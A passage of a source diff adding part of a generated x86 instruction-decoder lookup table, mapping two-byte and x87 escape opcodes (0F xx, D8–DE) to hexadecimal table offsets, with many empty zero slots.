/* 1d3 - _0F_D3 */ 0xcd14, + /* 1d4 - _0F_D4 */ 0xcd20, + /* 1d5 - _0F_D5 */ 0xcd2c, + /* 1d6 - _0F_D6 */ 0xcd38, + /* 1d7 - _0F_D7 */ 0xcd44, + /* 1d8 - _0F_D8 */ 0xcd50, + /* 1d9 - _0F_D9 */ 0xcd5c, + /* 1da - _0F_DA */ 0xcd68, + /* 1db - _0F_DB */ 0xcd74, + /* 1dc - _0F_DC */ 0xcd80, + /* 1dd - _0F_DD */ 0xcd8c, + /* 1de - _0F_DE */ 0xcd98, + /* 1df - _0F_DF */ 0xcda4, + /* 1e0 - _0F_E0 */ 0xcdb0, + /* 1e1 - _0F_E1 */ 0xcdbc, + /* 1e2 - _0F_E2 */ 0xcdc8, + /* 1e3 - _0F_E3 */ 0xcdd4, + /* 1e4 - _0F_E4 */ 0xcde0, + /* 1e5 - _0F_E5 */ 0xcdec, + /* 1e6 - _0F_E6 */ 0xcdf8, + /* 1e7 - _0F_E7 */ 0xce04, + /* 1e8 - _0F_E8 */ 0xce10, + /* 1e9 - _0F_E9 */ 0xce1c, + /* 1ea - _0F_EA */ 0xce28, + /* 1eb - _0F_EB */ 0xce34, + /* 1ec - _0F_EC */ 0xce40, + /* 1ed - _0F_ED */ 0xce4c, + /* 1ee - _0F_EE */ 0xce58, + /* 1ef - _0F_EF */ 0xce64, + /* 1f0 - _0F_F0 */ 0xce70, + /* 1f1 - _0F_F1 */ 0xce7c, + /* 1f2 - _0F_F2 */ 0xce88, + /* 1f3 - _0F_F3 */ 0xce94, + /* 1f4 - _0F_F4 */ 0xcea0, + /* 1f5 - _0F_F5 */ 0xceac, + /* 1f6 - _0F_F6 */ 0xceb8, + /* 1f7 - _0F_F7 */ 0xcec4, + /* 1f8 - _0F_F8 */ 0xced0, + /* 1f9 - _0F_F9 */ 0xcedc, + /* 1fa - _0F_FA */ 0xcee8, + /* 1fb - _0F_FB */ 0xcef4, + /* 1fc - _0F_FC */ 0xcf00, + /* 1fd - _0F_FD */ 0xcf0c, + /* 1fe - _0F_FE */ 0xcf18, + /* 1ff - */ 0, + /* 200 - _80_00 */ 0x213a, + /* 201 - _80_01 */ 0x213b, + /* 202 - _80_02 */ 0x213c, + /* 203 - _80_03 */ 0x213d, + /* 204 - _80_04 */ 0x213e, + /* 205 - _80_05 */ 0x213f, + /* 206 - _80_06 */ 0x2140, + /* 207 - _80_07 */ 0x2141, + /* 208 - _81_00 */ 0x2142, + /* 209 - _81_01 */ 0x2143, + /* 20a - _81_02 */ 0x2144, + /* 20b - _81_03 */ 0x2145, + /* 20c - _81_04 */ 0x2146, + /* 20d - _81_05 */ 0x2147, + /* 20e - _81_06 */ 0x2148, + /* 20f - _81_07 */ 0x2149, + /* 210 - _82_00 */ 0x214a, + /* 211 - _82_01 */ 0x214b, + /* 212 - _82_02 */ 0x214c, + /* 213 - _82_03 */ 0x214d, + /* 214 - _82_04 */ 0x214e, + /* 215 - _82_05 */ 0x214f, + /* 216 - _82_06 */ 0x2150, + /* 217 - _82_07 */ 0x2151, + /* 218 - _83_00 */ 0x2152, + /* 219 - _83_01 */ 0x2153, + /* 21a - _83_02 */ 0x2154, + /* 21b - _83_03 */ 0x2155, + /* 21c - _83_04 */ 0x2156, + /* 21d - _83_05 */ 0x2157, + /* 21e - _83_06 */ 0x2158, + /* 21f - _83_07 */ 0x2159, + /* 220 - _8F_00 */ 0x215a, + /* 221 - */ 0, + /* 222 - */ 0, + /* 223 - */ 0, + /* 224 - */ 0, + /* 225 - */ 0, + /* 226 - */ 0, + /* 227 - */ 0, + /* 228 - _C0_00 */ 0x215b, + /* 229 - _C0_01 */ 0x215c, + /* 22a - _C0_02 */ 0x215d, + /* 22b - _C0_03 */ 0x215e, + /* 22c - _C0_04 */ 0x215f, + /* 22d - _C0_05 */ 0x2160, + /* 22e - _C0_06 */ 0x2161, + /* 22f - _C0_07 */ 0x2162, + /* 230 - _C1_00 */ 0x2163, + /* 231 - _C1_01 */ 0x2164, + /* 232 - _C1_02 */ 0x2165, + /* 233 - _C1_03 */ 0x2166, + /* 234 - _C1_04 */ 0x2167, + /* 235 - _C1_05 */ 0x2168, + /* 236 - _C1_06 */ 0x2169, + /* 237 - _C1_07 */ 0x216a, + /* 238 - _C6_00 */ 0x216b, + /* 239 - */ 0, + /* 23a - */ 0, + /* 23b - */ 0, + /* 23c - */ 0, + /* 23d - */ 0, + /* 23e - */ 0, + /* 23f - */ 0, + /* 240 - */ 0, + /* 241 - */ 0, + /* 242 - */ 0, + /* 243 - */ 0, + /* 244 - */ 0, + /* 245 - */ 0, + /* 246 - */ 0, + /* 247 - */ 0, + /* 248 - */ 0, + /* 249 - */ 0, + /* 24a - */ 0, + /* 24b - */ 0, + /* 24c - */ 0, + /* 24d - */ 0, + /* 24e - */ 0, + /* 24f - */ 0, + /* 250 - */ 0, + /* 251 - */ 0, + /* 252 - */ 0, + /* 253 - */ 0, + /* 254 - */ 0, + /* 255 - */ 0, + /* 256 - */ 0, + /* 257 - */ 0, + /* 258 - */ 0, + /* 259 - */ 0, + /* 25a - */ 0, + /* 25b - */ 0, + /* 25c - */ 0, + /* 25d - */ 0, + /* 25e - */ 0, + /* 25f - */ 0, + /* 260 - */ 0, + /* 261 - */ 0, + /* 262 - */ 0, + /* 263 - */ 0, + /* 264 - */ 0, + /* 265 - */ 0, + /* 266 - */ 0, + /* 267 - */ 0, + /* 268 - */ 0, + /* 269 - */ 0, + /* 26a - */ 0, + /* 26b - */ 0, + /* 26c - */ 0, + /* 26d - */ 0, + /* 26e - */ 0, + /* 26f - */ 0, + /* 270 - */ 0, + /* 271 - */ 0, + /* 272 - */ 0, + /* 273 - */ 0, + /* 274 - */ 0, + /* 275 - */ 0, + /* 276 - */ 0, + /* 277 - */ 0, + /* 278 - _C6_F8 */ 0x216c, + /* 279 - */ 0, + /* 27a - */ 0, + /* 27b - */ 0, + /* 27c - */ 0, + /* 27d - */ 0, + /* 27e - */ 0, + /* 27f - */ 0, + /* 280 - _C7_00 */ 0x216d, + /* 281 - */ 0, + /* 282 - */ 0, + /* 283 - */ 0, + /* 284 - */ 0, + /* 285 - */ 0, + /* 286 - */ 0, + /* 287 - */ 0, + /* 288 - */ 0, + /* 289 - */ 0, + /* 28a - */ 0, + /* 28b - */ 0, + /* 28c - */ 0, + /* 28d - */ 0, + /* 28e - */ 0, + /* 28f - */ 0, + /* 290 - */ 0, + /* 291 - */ 0, + /* 292 - */ 0, + /* 293 - */ 0, + /* 294 - */ 0, + /* 295 - */ 0, + /* 296 - */ 0, + /* 297 - */ 0, + /* 298 - */ 0, + /* 299 - */ 0, + /* 29a - */ 0, + /* 29b - */ 0, + /* 29c - */ 0, + /* 29d - */ 0, + /* 29e - */ 0, + /* 29f - */ 0, + /* 2a0 - */ 0, + /* 2a1 - */ 0, + /* 2a2 - */ 0, + /* 2a3 - */ 0, + /* 2a4 - */ 0, + /* 2a5 - */ 0, + /* 2a6 - */ 0, + /* 2a7 - */ 0, + /* 2a8 - */ 0, + /* 2a9 - */ 0, + /* 2aa - */ 0, + /* 2ab - */ 0, + /* 2ac - */ 0, + /* 2ad - */ 0, + /* 2ae - */ 0, + /* 2af - */ 0, + /* 2b0 - */ 0, + /* 2b1 - */ 0, + /* 2b2 - */ 0, + /* 2b3 - */ 0, + /* 2b4 - */ 0, + /* 2b5 - */ 0, + /* 2b6 - */ 0, + /* 2b7 - */ 0, + /* 2b8 - */ 0, + /* 2b9 - */ 0, + /* 2ba - */ 0, + /* 2bb - */ 0, + /* 2bc - */ 0, + /* 2bd - */ 0, + /* 2be - */ 0, + /* 2bf - */ 0, + /* 2c0 - _C7_F8 */ 0x216e, + /* 2c1 - */ 0, + /* 2c2 - */ 0, + /* 2c3 - */ 0, + /* 2c4 - */ 0, + /* 2c5 - */ 0, + /* 2c6 - */ 0, + /* 2c7 - */ 0, + /* 2c8 - _D0_00 */ 0x216f, + /* 2c9 - _D0_01 */ 0x2170, + /* 2ca - _D0_02 */ 0x2171, + /* 2cb - _D0_03 */ 0x2172, + /* 2cc - _D0_04 */ 0x2173, + /* 2cd - _D0_05 */ 0x2174, + /* 2ce - _D0_06 */ 0x2175, + /* 2cf - _D0_07 */ 0x2176, + /* 2d0 - _D1_00 */ 0x2177, + /* 2d1 - _D1_01 */ 0x2178, + /* 2d2 - _D1_02 */ 0x2179, + /* 2d3 - _D1_03 */ 0x217a, + /* 2d4 - _D1_04 */ 0x217b, + /* 2d5 - _D1_05 */ 0x217c, + /* 2d6 - _D1_06 */ 0x217d, + /* 2d7 - _D1_07 */ 0x217e, + /* 2d8 - _D2_00 */ 0x217f, + /* 2d9 - _D2_01 */ 0x2180, + /* 2da - _D2_02 */ 0x2181, + /* 2db - _D2_03 */ 0x2182, + /* 2dc - _D2_04 */ 0x2183, + /* 2dd - _D2_05 */ 0x2184, + /* 2de - _D2_06 */ 0x2185, + /* 2df - _D2_07 */ 0x2186, + /* 2e0 - _D3_00 */ 0x2187, + /* 2e1 - _D3_01 */ 0x2188, + /* 2e2 - _D3_02 */ 0x2189, + /* 2e3 - _D3_03 */ 0x218a, + /* 2e4 - _D3_04 */ 0x218b, + /* 2e5 - _D3_05 */ 0x218c, + /* 2e6 - _D3_06 */ 0x218d, + /* 2e7 - _D3_07 */ 0x218e, + /* 2e8 - _D8_00 */ 0x218f, + /* 2e9 - _D8_01 */ 0x2190, + /* 2ea - _D8_02 */ 0x2191, + /* 2eb - _D8_03 */ 0x2192, + /* 2ec - _D8_04 */ 0x2193, + /* 2ed - _D8_05 */ 0x2194, + /* 2ee - _D8_06 */ 0x2195, + /* 2ef - _D8_07 */ 0x2196, + /* 2f0 - _D8_C0 */ 0x2197, + /* 2f1 - _D8_C0 */ 0x2198, + /* 2f2 - _D8_C0 */ 0x2199, + /* 2f3 - _D8_C0 */ 0x219a, + /* 2f4 - _D8_C0 */ 0x219b, + /* 2f5 - _D8_C0 */ 0x219c, + /* 2f6 - _D8_C0 */ 0x219d, + /* 2f7 - _D8_C0 */ 0x219e, + /* 2f8 - _D8_C8 */ 0x219f, + /* 2f9 - _D8_C8 */ 0x21a0, + /* 2fa - _D8_C8 */ 0x21a1, + /* 2fb - _D8_C8 */ 0x21a2, + /* 2fc - _D8_C8 */ 0x21a3, + /* 2fd - _D8_C8 */ 0x21a4, + /* 2fe - _D8_C8 */ 0x21a5, + /* 2ff - _D8_C8 */ 0x21a6, + /* 300 - _D8_D0 */ 0x21a7, + /* 301 - _D8_D0 */ 0x21a8, + /* 302 - _D8_D0 */ 0x21a9, + /* 303 - _D8_D0 */ 0x21aa, + /* 304 - _D8_D0 */ 0x21ab, + /* 305 - _D8_D0 */ 0x21ac, + /* 306 - _D8_D0 */ 0x21ad, + /* 307 - _D8_D0 */ 0x21ae, + /* 308 - _D8_D8 */ 0x21af, + /* 309 - _D8_D9 */ 0x21b0, + /* 30a - _D8_D8 */ 0x21b1, + /* 30b - _D8_D8 */ 0x21b2, + /* 30c - _D8_D8 */ 0x21b3, + /* 30d - _D8_D8 */ 0x21b4, + /* 30e - _D8_D8 */ 0x21b5, + /* 30f - _D8_D8 */ 0x21b6, + /* 310 - _D8_E0 */ 0x21b7, + /* 311 - _D8_E0 */ 0x21b8, + /* 312 - _D8_E0 */ 0x21b9, + /* 313 - _D8_E0 */ 0x21ba, + /* 314 - _D8_E0 */ 0x21bb, + /* 315 - _D8_E0 */ 0x21bc, + /* 316 - _D8_E0 */ 0x21bd, + /* 317 - _D8_E0 */ 0x21be, + /* 318 - _D8_E8 */ 0x21bf, + /* 319 - _D8_E8 */ 0x21c0, + /* 31a - _D8_E8 */ 0x21c1, + /* 31b - _D8_E8 */ 0x21c2, + /* 31c - _D8_E8 */ 0x21c3, + /* 31d - _D8_E8 */ 0x21c4, + /* 31e - _D8_E8 */ 0x21c5, + /* 31f - _D8_E8 */ 0x21c6, + /* 320 - _D8_F0 */ 0x21c7, + /* 321 - _D8_F0 */ 0x21c8, + /* 322 - _D8_F0 */ 0x21c9, + /* 323 - _D8_F0 */ 0x21ca, + /* 324 - _D8_F0 */ 0x21cb, + /* 325 - _D8_F0 */ 0x21cc, + /* 326 - _D8_F0 */ 0x21cd, + /* 327 - _D8_F0 */ 0x21ce, + /* 328 - _D8_F8 */ 0x21cf, + /* 329 - _D8_F8 */ 0x21d0, + /* 32a - _D8_F8 */ 0x21d1, + /* 32b - _D8_F8 */ 0x21d2, + /* 32c - _D8_F8 */ 0x21d3, + /* 32d - _D8_F8 */ 0x21d4, + /* 32e - _D8_F8 */ 0x21d5, + /* 32f - _D8_F8 */ 0x21d6, + /* 330 - _D9_00 */ 0x21d7, + /* 331 - */ 0, + /* 332 - _D9_02 */ 0x21d8, + /* 333 - _D9_03 */ 0x21d9, + /* 334 - _D9_04 */ 0x21da, + /* 335 - _D9_05 */ 0x21db, + /* 336 - _D9_06 */ 0xcf24, + /* 337 - _D9_07 */ 0xcf30, + /* 338 - _D9_C0 */ 0x21dc, + /* 339 - _D9_C0 */ 0x21dd, + /* 33a - _D9_C0 */ 0x21de, + /* 33b - _D9_C0 */ 0x21df, + /* 33c - _D9_C0 */ 0x21e0, + /* 33d - _D9_C0 */ 0x21e1, + /* 33e - _D9_C0 */ 0x21e2, + /* 33f - _D9_C0 */ 0x21e3, + /* 340 - _D9_C8 */ 0x21e4, + /* 341 - _D9_C9 */ 0x21e5, + /* 342 - _D9_C8 */ 0x21e6, + /* 343 - _D9_C8 */ 0x21e7, + /* 344 - _D9_C8 */ 0x21e8, + /* 345 - _D9_C8 */ 0x21e9, + /* 346 - _D9_C8 */ 0x21ea, + /* 347 - _D9_C8 */ 0x21eb, + /* 348 - _D9_D0 */ 0x21ec, + /* 349 - */ 0, + /* 34a - */ 0, + /* 34b - */ 0, + /* 34c - */ 0, + /* 34d - */ 0, + /* 34e - */ 0, + /* 34f - */ 0, + /* 350 - */ 0, + /* 351 - */ 0, + /* 352 - */ 0, + /* 353 - */ 0, + /* 354 - */ 0, + /* 355 - */ 0, + /* 356 - */ 0, + /* 357 - */ 0, + /* 358 - _D9_E0 */ 0x21ed, + /* 359 - _D9_E1 */ 0x21ee, + /* 35a - */ 0, + /* 35b - */ 0, + /* 35c - _D9_E4 */ 0x21ef, + /* 35d - _D9_E5 */ 0x21f0, + /* 35e - */ 0, + /* 35f - */ 0, + /* 360 - _D9_E8 */ 0x21f1, + /* 361 - _D9_E9 */ 0x21f2, + /* 362 - _D9_EA */ 0x21f3, + /* 363 - _D9_EB */ 0x21f4, + /* 364 - _D9_EC */ 0x21f5, + /* 365 - _D9_ED */ 0x21f6, + /* 366 - _D9_EE */ 0x21f7, + /* 367 - */ 0, + /* 368 - _D9_F0 */ 0x21f8, + /* 369 - _D9_F1 */ 0x21f9, + /* 36a - _D9_F2 */ 0x21fa, + /* 36b - _D9_F3 */ 0x21fb, + /* 36c - _D9_F4 */ 0x21fc, + /* 36d - _D9_F5 */ 0x21fd, + /* 36e - _D9_F6 */ 0x21fe, + /* 36f - _D9_F7 */ 0x21ff, + /* 370 - _D9_F8 */ 0x2200, + /* 371 - _D9_F9 */ 0x2201, + /* 372 - _D9_FA */ 0x2202, + /* 373 - _D9_FB */ 0x2203, + /* 374 - _D9_FC */ 0x2204, + /* 375 - _D9_FD */ 0x2205, + /* 376 - _D9_FE */ 0x2206, + /* 377 - _D9_FF */ 0x2207, + /* 378 - _DA_00 */ 0x2208, + /* 379 - _DA_01 */ 0x2209, + /* 37a - _DA_02 */ 0x220a, + /* 37b - _DA_03 */ 0x220b, + /* 37c - _DA_04 */ 0x220c, + /* 37d - _DA_05 */ 0x220d, + /* 37e - _DA_06 */ 0x220e, + /* 37f - _DA_07 */ 0x220f, + /* 380 - _DA_C0 */ 0x2210, + /* 381 - _DA_C0 */ 0x2211, + /* 382 - _DA_C0 */ 0x2212, + /* 383 - _DA_C0 */ 0x2213, + /* 384 - _DA_C0 */ 0x2214, + /* 385 - _DA_C0 */ 0x2215, + /* 386 - _DA_C0 */ 0x2216, + /* 387 - _DA_C0 */ 0x2217, + /* 388 - _DA_C8 */ 0x2218, + /* 389 - _DA_C8 */ 0x2219, + /* 38a - _DA_C8 */ 0x221a, + /* 38b - _DA_C8 */ 0x221b, + /* 38c - _DA_C8 */ 0x221c, + /* 38d - _DA_C8 */ 0x221d, + /* 38e - _DA_C8 */ 0x221e, + /* 38f - _DA_C8 */ 0x221f, + /* 390 - _DA_D0 */ 0x2220, + /* 391 - _DA_D0 */ 0x2221, + /* 392 - _DA_D0 */ 0x2222, + /* 393 - _DA_D0 */ 0x2223, + /* 394 - _DA_D0 */ 0x2224, + /* 395 - _DA_D0 */ 0x2225, + /* 396 - _DA_D0 */ 0x2226, + /* 397 - _DA_D0 */ 0x2227, + /* 398 - _DA_D8 */ 0x2228, + /* 399 - _DA_D8 */ 0x2229, + /* 39a - _DA_D8 */ 0x222a, + /* 39b - _DA_D8 */ 0x222b, + /* 39c - _DA_D8 */ 0x222c, + /* 39d - _DA_D8 */ 0x222d, + /* 39e - _DA_D8 */ 0x222e, + /* 39f - _DA_D8 */ 0x222f, + /* 3a0 - */ 0, + /* 3a1 - */ 0, + /* 3a2 - */ 0, + /* 3a3 - */ 0, + /* 3a4 - */ 0, + /* 3a5 - */ 0, + /* 3a6 - */ 0, + /* 3a7 - */ 0, + /* 3a8 - */ 0, + /* 3a9 - _DA_E9 */ 0x2230, + /* 3aa - */ 0, + /* 3ab - */ 0, + /* 3ac - */ 0, + /* 3ad - */ 0, + /* 3ae - */ 0, + /* 3af - */ 0, + /* 3b0 - */ 0, + /* 3b1 - */ 0, + /* 3b2 - */ 0, + /* 3b3 - */ 0, + /* 3b4 - */ 0, + /* 3b5 - */ 0, + /* 3b6 - */ 0, + /* 3b7 - */ 0, + /* 3b8 - */ 0, + /* 3b9 - */ 0, + /* 3ba - */ 0, + /* 3bb - */ 0, + /* 3bc - */ 0, + /* 3bd - */ 0, + /* 3be - */ 0, + /* 3bf - */ 0, + /* 3c0 - _DB_00 */ 0x2231, + /* 3c1 - _DB_01 */ 0x2232, + /* 3c2 - _DB_02 */ 0x2233, + /* 3c3 - _DB_03 */ 0x2234, + /* 3c4 - */ 0, + /* 3c5 - _DB_05 */ 0x2235, + /* 3c6 - */ 0, + /* 3c7 - _DB_07 */ 0x2236, + /* 3c8 - _DB_C0 */ 0x2237, + /* 3c9 - _DB_C0 */ 0x2238, + /* 3ca - _DB_C0 */ 0x2239, + /* 3cb - _DB_C0 */ 0x223a, + /* 3cc - _DB_C0 */ 0x223b, + /* 3cd - _DB_C0 */ 0x223c, + /* 3ce - _DB_C0 */ 0x223d, + /* 3cf - _DB_C0 */ 0x223e, + /* 3d0 - _DB_C8 */ 0x223f, + /* 3d1 - _DB_C8 */ 0x2240, + /* 3d2 - _DB_C8 */ 0x2241, + /* 3d3 - _DB_C8 */ 0x2242, + /* 3d4 - _DB_C8 */ 0x2243, + /* 3d5 - _DB_C8 */ 0x2244, + /* 3d6 - _DB_C8 */ 0x2245, + /* 3d7 - _DB_C8 */ 0x2246, + /* 3d8 - _DB_D0 */ 0x2247, + /* 3d9 - _DB_D0 */ 0x2248, + /* 3da - _DB_D0 */ 0x2249, + /* 3db - _DB_D0 */ 0x224a, + /* 3dc - _DB_D0 */ 0x224b, + /* 3dd - _DB_D0 */ 0x224c, + /* 3de - _DB_D0 */ 0x224d, + /* 3df - _DB_D0 */ 0x224e, + /* 3e0 - _DB_D8 */ 0x224f, + /* 3e1 - _DB_D8 */ 0x2250, + /* 3e2 - _DB_D8 */ 0x2251, + /* 3e3 - _DB_D8 */ 0x2252, + /* 3e4 - _DB_D8 */ 0x2253, + /* 3e5 - _DB_D8 */ 0x2254, + /* 3e6 - _DB_D8 */ 0x2255, + /* 3e7 - _DB_D8 */ 0x2256, + /* 3e8 - _DB_E0 */ 0x2257, + /* 3e9 - _DB_E1 */ 0x2258, + /* 3ea - _DB_E2 */ 0xcf3c, + /* 3eb - _DB_E3 */ 0xcf48, + /* 3ec - _DB_E4 */ 0x2259, + /* 3ed - */ 0, + /* 3ee - */ 0, + /* 3ef - */ 0, + /* 3f0 - _DB_E8 */ 0x225a, + /* 3f1 - _DB_E8 */ 0x225b, + /* 3f2 - _DB_E8 */ 0x225c, + /* 3f3 - _DB_E8 */ 0x225d, + /* 3f4 - _DB_E8 */ 0x225e, + /* 3f5 - _DB_E8 */ 0x225f, + /* 3f6 - _DB_E8 */ 0x2260, + /* 3f7 - _DB_E8 */ 0x2261, + /* 3f8 - _DB_F0 */ 0x2262, + /* 3f9 - _DB_F0 */ 0x2263, + /* 3fa - _DB_F0 */ 0x2264, + /* 3fb - _DB_F0 */ 0x2265, + /* 3fc - _DB_F0 */ 0x2266, + /* 3fd - _DB_F0 */ 0x2267, + /* 3fe - _DB_F0 */ 0x2268, + /* 3ff - _DB_F0 */ 0x2269, + /* 400 - */ 0, + /* 401 - */ 0, + /* 402 - */ 0, + /* 403 - */ 0, + /* 404 - */ 0, + /* 405 - */ 0, + /* 406 - */ 0, + /* 407 - */ 0, + /* 408 - _DC_00 */ 0x226a, + /* 409 - _DC_01 */ 0x226b, + /* 40a - _DC_02 */ 0x226c, + /* 40b - _DC_03 */ 0x226d, + /* 40c - _DC_04 */ 0x226e, + /* 40d - _DC_05 */ 0x226f, + /* 40e - _DC_06 */ 0x2270, + /* 40f - _DC_07 */ 0x2271, + /* 410 - _DC_C0 */ 0x2272, + /* 411 - _DC_C0 */ 0x2273, + /* 412 - _DC_C0 */ 0x2274, + /* 413 - _DC_C0 */ 0x2275, + /* 414 - _DC_C0 */ 0x2276, + /* 415 - _DC_C0 */ 0x2277, + /* 416 - _DC_C0 */ 0x2278, + /* 417 - _DC_C0 */ 0x2279, + /* 418 - _DC_C8 */ 0x227a, + /* 419 - _DC_C8 */ 0x227b, + /* 41a - _DC_C8 */ 0x227c, + /* 41b - _DC_C8 */ 0x227d, + /* 41c - _DC_C8 */ 0x227e, + /* 41d - _DC_C8 */ 0x227f, + /* 41e - _DC_C8 */ 0x2280, + /* 41f - _DC_C8 */ 0x2281, + /* 420 - */ 0, + /* 421 - */ 0, + /* 422 - */ 0, + /* 423 - */ 0, + /* 424 - */ 0, + /* 425 - */ 0, + /* 426 - */ 0, + /* 427 - */ 0, + /* 428 - */ 0, + /* 429 - */ 0, + /* 42a - */ 0, + /* 42b - */ 0, + /* 42c - */ 0, + /* 42d - */ 0, + /* 42e - */ 0, + /* 42f - */ 0, + /* 430 - _DC_E0 */ 0x2282, + /* 431 - _DC_E0 */ 0x2283, + /* 432 - _DC_E0 */ 0x2284, + /* 433 - _DC_E0 */ 0x2285, + /* 434 - _DC_E0 */ 0x2286, + /* 435 - _DC_E0 */ 0x2287, + /* 436 - _DC_E0 */ 0x2288, + /* 437 - _DC_E0 */ 0x2289, + /* 438 - _DC_E8 */ 0x228a, + /* 439 - _DC_E8 */ 0x228b, + /* 43a - _DC_E8 */ 0x228c, + /* 43b - _DC_E8 */ 0x228d, + /* 43c - _DC_E8 */ 0x228e, + /* 43d - _DC_E8 */ 0x228f, + /* 43e - _DC_E8 */ 0x2290, + /* 43f - _DC_E8 */ 0x2291, + /* 440 - _DC_F0 */ 0x2292, + /* 441 - _DC_F0 */ 0x2293, + /* 442 - _DC_F0 */ 0x2294, + /* 443 - _DC_F0 */ 0x2295, + /* 444 - _DC_F0 */ 0x2296, + /* 445 - _DC_F0 */ 0x2297, + /* 446 - _DC_F0 */ 0x2298, + /* 447 - _DC_F0 */ 0x2299, + /* 448 - _DC_F8 */ 0x229a, + /* 449 - _DC_F8 */ 0x229b, + /* 44a - _DC_F8 */ 0x229c, + /* 44b - _DC_F8 */ 0x229d, + /* 44c - _DC_F8 */ 0x229e, + /* 44d - _DC_F8 */ 0x229f, + /* 44e - _DC_F8 */ 0x22a0, + /* 44f - _DC_F8 */ 0x22a1, + /* 450 - _DD_00 */ 0x22a2, + /* 451 - _DD_01 */ 0x22a3, + /* 452 - _DD_02 */ 0x22a4, + /* 453 - _DD_03 */ 0x22a5, + /* 454 - _DD_04 */ 0x22a6, + /* 455 - */ 0, + /* 456 - _DD_06 */ 0xcf54, + /* 457 - _DD_07 */ 0xcf60, + /* 458 - _DD_C0 */ 0x22a7, + /* 459 - _DD_C0 */ 0x22a8, + /* 45a - _DD_C0 */ 0x22a9, + /* 45b - _DD_C0 */ 0x22aa, + /* 45c - _DD_C0 */ 0x22ab, + /* 45d - _DD_C0 */ 0x22ac, + /* 45e - _DD_C0 */ 0x22ad, + /* 45f - _DD_C0 */ 0x22ae, + /* 460 - */ 0, + /* 461 - */ 0, + /* 462 - */ 0, + /* 463 - */ 0, + /* 464 - */ 0, + /* 465 - */ 0, + /* 466 - */ 0, + /* 467 - */ 0, + /* 468 - _DD_D0 */ 0x22af, + /* 469 - _DD_D0 */ 0x22b0, + /* 46a - _DD_D0 */ 0x22b1, + /* 46b - _DD_D0 */ 0x22b2, + /* 46c - _DD_D0 */ 0x22b3, + /* 46d - _DD_D0 */ 0x22b4, + /* 46e - _DD_D0 */ 0x22b5, + /* 46f - _DD_D0 */ 0x22b6, + /* 470 - _DD_D8 */ 0x22b7, + /* 471 - _DD_D8 */ 0x22b8, + /* 472 - _DD_D8 */ 0x22b9, + /* 473 - _DD_D8 */ 0x22ba, + /* 474 - _DD_D8 */ 0x22bb, + /* 475 - _DD_D8 */ 0x22bc, + /* 476 - _DD_D8 */ 0x22bd, + /* 477 - _DD_D8 */ 0x22be, + /* 478 - _DD_E0 */ 0x22bf, + /* 479 - _DD_E1 */ 0x22c0, + /* 47a - _DD_E0 */ 0x22c1, + /* 47b - _DD_E0 */ 0x22c2, + /* 47c - _DD_E0 */ 0x22c3, + /* 47d - _DD_E0 */ 0x22c4, + /* 47e - _DD_E0 */ 0x22c5, + /* 47f - _DD_E0 */ 0x22c6, + /* 480 - _DD_E8 */ 0x22c7, + /* 481 - _DD_E9 */ 0x22c8, + /* 482 - _DD_E8 */ 0x22c9, + /* 483 - _DD_E8 */ 0x22ca, + /* 484 - _DD_E8 */ 0x22cb, + /* 485 - _DD_E8 */ 0x22cc, + /* 486 - _DD_E8 */ 0x22cd, + /* 487 - _DD_E8 */ 0x22ce, + /* 488 - */ 0, + /* 489 - */ 0, + /* 48a - */ 0, + /* 48b - */ 0, + /* 48c - */ 0, + /* 48d - */ 0, + /* 48e - */ 0, + /* 48f - */ 0, + /* 490 - */ 0, + /* 491 - */ 0, + /* 492 - */ 0, + /* 493 - */ 0, + /* 494 - */ 0, + /* 495 - */ 0, + /* 496 - */ 0, + /* 497 - */ 0, + /* 498 - _DE_00 */ 0x22cf, + /* 499 - _DE_01 */ 0x22d0, + /* 49a - _DE_02 */ 0x22d1, + /* 49b - _DE_03 */ 0x22d2, + /* 49c - _DE_04 */ 0x22d3, + /* 49d - _DE_05 */ 0x22d4, + /* 49e - _DE_06 */ 0x22d5, + /* 49f - _DE_07 */ 0x22d6, + /* 4a0 - _DE_C0 */ 0x22d7, + /* 4a1 - _DE_C1 */ 0x22d8, + /* 4a2 - _DE_C0 */ 0x22d9, + /* 4a3 - _DE_C0 */ 0x22da, + /* 4a4 - _DE_C0 */ 0x22db, + /* 4a5 - _DE_C0 */ 0x22dc, + /* 4a6 - _DE_C0 */ 0x22dd, + /* 4a7 - _DE_C0 */ 0x22de, + /* 4a8 - _DE_C8 */ 0x22df, + /* 4a9 - _DE_C9 */ 0x22e0, + /* 4aa - _DE_C8 */ 0x22e1, + /* 4ab - _DE_C8 */ 0x22e2, + /* 4ac - _DE_C8 */ 0x22e3, + /* 4ad - _DE_C8 */ 0x22e4, + /* 4ae - _DE_C8 */ 0x22e5, + /* 4af - _DE_C8 */ 0x22e6, + /* 4b0 - */ 0, + /* 4b1 - */ 0, + /* 4b2 - */ 0, + /* 4b3 - */ 0, + /* 4b4 - */ 0, + /* 4b5 - */ 0, + /* 4b6 - */ 0, + /* 4b7 - */ 0, + /* 4b8 - */ 0, + /* 4b9 - _DE_D9 */ 0x22e7, + /* 4ba - */ 0, + /* 4bb - */ 0, + /* 4bc - */ 0, + /* 4bd - */ 0, + /* 4be - */ 0, + /* 4bf - */ 0, + /* 4c0 - _DE_E0 */ 0x22e8, + /* 4c1 - _DE_E1 */ 0x22e9, + /* 4c2 - _DE_E0 */ 0x22ea, + /* 4c3 - _DE_E0 */ 0x22eb, + /* 4c4 - _DE_E0 */ 0x22ec, + /* 4c5 - _DE_E0 */ 0x22ed, + /* 4c6 - _DE_E0 */ 0x22ee, + /* 4c7 - _DE_E0 */ 0x22ef, + /* 4c8 - _DE_E8 */ 0x22f0, + /* 4c9 - _DE_E9 */ 0x22f1, + /* 4ca - _DE_E8 */ 0x22f2, + /* 4cb - _DE_E8 */ 0x22f3, + /* 4cc - _DE_E8 */ 0x22f4, + /* 4cd - _DE_E8 */ 0x22f5, + /* 4ce - _DE_E8 */ 0x22f6, + /* 4cf - _DE_E8 */ 0x22f7, + /* 4d0 - _DE_F0 */ 0x22f8, + /* 4d1 - _DE_F1 */ 0x22f9, + /* 4d2 - _DE_F0 */ 0x22fa, + /* 4d3 - _DE_F0 */ 0x22fb, + /* 4d4 - _DE_F0 */ 0x22fc, + /* 4d5 - _DE_F0 */ 0x22fd, + /* 4d6 - _DE_F0 */ 0x22fe, + /* 4d7 - _DE_F0 */ 0x22ff, + /* 4d8 - _DE_F8 */ 0x2300, + /* 4d9 - _DE_F9 */ 0x2301, + /* 4da - _DE_F8 */ 0x2302, + /* 4db - _DE_F8 */ 0x2303, + /* 4dc - _DE_F8 */ 0x2304, + /* 4dd - _DE_F8 */ 0x2305, + /* 4de - _DE_F8 */ 0x2306, + /* 4df - _DE_F8 */ 0x2307, + /* 4e0 - 